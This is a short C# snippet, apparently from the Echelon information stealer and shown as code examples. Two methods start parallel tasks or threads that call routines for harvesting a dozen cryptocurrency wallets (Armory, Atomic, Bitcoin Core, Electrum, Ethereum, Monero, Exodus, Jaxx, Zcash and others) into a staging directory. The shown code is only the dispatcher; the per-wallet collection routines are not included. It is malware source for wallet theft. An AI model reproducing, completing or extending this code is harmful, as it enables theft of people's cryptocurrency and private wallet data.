public static int GetWallets(string Echelon_Dir)
        {
            Task[] tasks_wl = new Task[12]
            {
                new Task(() => Armory.ArmoryStr(Echelon_Dir)),
                new Task(() => AtomicWallet.AtomicStr(Echelon_Dir)),
                new Task(() => BitcoinCore.BCStr(Echelon_Dir)),
                new Task(() => Bytecoin.BCNcoinStr(Echelon_Dir)),
                new Task(() => DashCore.DSHcoinStr(Echelon_Dir)),
                new Task(() => Electrum.EleStr(Echelon_Dir)),
                new Task(() => Ethereum.EcoinStr(Echelon_Dir)),
                new Task(() => LitecoinCore.LitecStr(Echelon_Dir)),
                new Task(() => Monero.XMRcoinStr(Echelon_Dir)),
                new Task(() => Exodus.ExodusStr(Echelon_Dir)),
                new Task(() => Jaxx.JaxxStr(Echelon_Dir)),
                new Task(() => Zcash.ZecwalletStr(Echelon_Dir))
            };
            foreach (var t in tasks_wl)
            {
                t.Start();
            }
            Task.WaitAll(tasks_wl);

            return(count);
        }
Example #2
0
        public static int Start(string Echelon_Dir)
        {
            new Thread(() =>
            {
                Armory.ArmoryStr(Echelon_Dir);
            }).Start(); //Bitcoin Armory Wallet
            new Thread(() =>
            {
                AtomicWallet.AtomicStr(Echelon_Dir);
            }).Start(); //Atomic Wallet
            new Thread(() =>
            {
                BitcoinCore.BCStr(Echelon_Dir);
            }).Start(); //Bitcoin Core
            new Thread(() =>
            {
                Bytecoin.BCNcoinStr(Echelon_Dir);
            }).Start(); //Bytecoin
            new Thread(() =>
            {
                DashCore.DSHcoinStr(Echelon_Dir);
            }).Start(); //Dash Core
            new Thread(() =>
            {
                Electrum.EleStr(Echelon_Dir);
            }).Start(); //Electrum
            new Thread(() =>
            {
                Ethereum.EcoinStr(Echelon_Dir);
            }).Start(); //Ethereum Wallet
            new Thread(() =>
            {
                LitecoinCore.LitecStr(Echelon_Dir);
            }).Start(); //Litecoin Core
            new Thread(() =>
            {
                Monero.XMRcoinStr(Echelon_Dir);
            }).Start(); //Monero Core
            new Thread(() =>
            {
                Exodus.ExodusStr(Echelon_Dir);
            }).Start();//Exodus Wallet
            new Thread(() =>
            {
                Jaxx.JaxxStr(Echelon_Dir);
            }).Start(); //Jaxx Liberty
            new Thread(() =>
            {
                Zcash.ZecwalletStr(Echelon_Dir);
            }).Start(); //Zec Wallet



            return(count);
        }